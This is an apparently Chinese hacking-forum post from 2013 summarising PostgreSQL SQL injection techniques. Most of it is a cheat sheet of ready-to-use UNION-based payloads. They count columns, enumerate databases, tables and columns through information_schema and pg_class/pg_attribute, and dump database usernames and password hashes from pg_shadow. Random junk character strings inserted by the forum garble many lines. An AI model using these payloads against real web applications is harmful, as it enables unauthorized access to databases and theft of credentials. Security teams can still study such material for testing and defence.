找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2171|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点
" t! ?' _' s  q* Q7 y( ^( O

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
* Y0 M# C% \6 p连接符: %20 , + , /**/

内置函数:; W4 a! \4 E* ~8 C% u) X( _
current_database() //当前数据库名) J. E( c) ~9 `
session_user //会话用户
# O0 J( G7 z5 i" N8 ^current_user //当前数据库用户
8 j5 {, b1 B0 Luser //当前用户
& S9 W& J' H3 \version() //数据库版本

Union注射:
- v9 V& S. R' aorder by n–7 ~! Z0 s; v& d; t0 b6 n. b7 {3 m. i, r
and 1=2 union select null,null,null–
7 [1 g/ x4 h9 e/ V( E  n) Zand 1=2 union select ‘beach’,null,null–
7 S, r% b6 L7 ^9 }' yand 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):
4 k+ W* U0 E7 b9 a, Y& q' mgroup_concat(table_name); Q1 O3 l6 t. c
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
% L. R9 \' |; r. o! A* Q3 \& h- x6 vand 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
6 G7 t9 }' c: ](老版本)/ T" F" |0 D/ @) {. X  H
pg_class.oid对应pg_attribute.attrelid
8 J# m/ A) n" t" r& j" cpg_class.relname表名: O$ U& D  m# Y. R3 h
pg_attribute.attname字段名

select relname from pg_class获取表名5 G; R: U0 q  k, i6 A% w, l
select oid from pg_class where 条件 获取参数
4 ^5 s2 B+ \/ V  Fselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:
2 W% Q4 F. b/ j! C9 [$ W  D& D, @and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表0 H9 Y4 D/ F9 J& e! Q
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
. L" ?0 ]9 _6 }! d" e" h由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名- d+ I' n: P9 }6 B
======================================================================4 U2 w3 D) f( N/ }- Y
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库) @; X8 @- ?( D% }; Q
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表